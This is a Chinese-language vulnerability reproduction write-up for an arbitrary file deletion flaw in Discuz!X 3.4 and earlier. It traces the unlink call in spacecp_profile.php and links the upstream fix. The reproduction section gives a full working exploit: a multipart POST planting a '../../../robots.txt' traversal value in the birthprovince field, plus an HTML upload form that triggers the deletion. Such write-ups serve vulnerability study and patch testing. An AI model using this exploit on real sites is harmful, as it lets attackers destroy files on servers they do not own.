Discuz!X 3.4 任意文件删除漏洞
一、漏洞简介
二、漏洞影响
影响版本：Discuz!X ≤3.4
三、复现过程
漏洞分析
Discuz!X的码云已经更新修复了该漏洞
https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574
核心问题在upload/source/include/spacecp/spacecp_profile.php
跟入代码70行
if(submitcheck('profilesubmit')) {
当提交profilesubmit时进入判断，跟入177行
我们发现如果满足配置文件中某个formtype的类型为file，我们就可以进入判断逻辑，这里我们尝试把配置输出出来看看
我们发现formtype字段和条件不符，这里代码的逻辑已经走不进去了
我们接着看这次修复的改动，可以发现228行再次引入语句unlink
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
回溯进入条件
当上传文件并上传成功，即可进入unlink语句
然后回溯变量$space[$key],不难发现这就是用户的个人设置。
只要找到一个可以控制的变量即可，这里选择了birthprovince。
在设置页面直接提交就可以绕过字段内容的限制了。
成功实现了任意文件删除
漏洞复现
访问http://your-ip/robots.txt可见robots.txt是存在的：
注册用户后，在个人设置页面找到自己的formhash：
带上自己的Cookie、formhash发送如下数据包：
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: localhost
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: [your cookie]
Connection: close
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="formhash"
[your formhash]
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"
../../../robots.txt
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="profilesubmit"
1
------WebKitFormBoundaryPFvXyxL45f34L12s--
提交成功之后，用户资料修改页面上的出生地就会显示成下图所示的状态：
说明我们的脏数据已经进入数据库了。
然后，新建一个upload.html，代码如下，将其中的[your-ip]改成discuz的域名，[form-hash]改成你的formhash：
<body>
<form action="http://[your-ip]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[form-hash]" method="post" enctype="multipart/form-data">
<input type="file" name="birthprovince" />
<input type="submit" value="upload" />
</form>
</body>
用浏览器打开该页面，上传一个正常图片。此时脏数据应该已被提取出，漏洞已经利用结束。
再次访问http://your-ip/robots.txt，发现文件成功被删除：
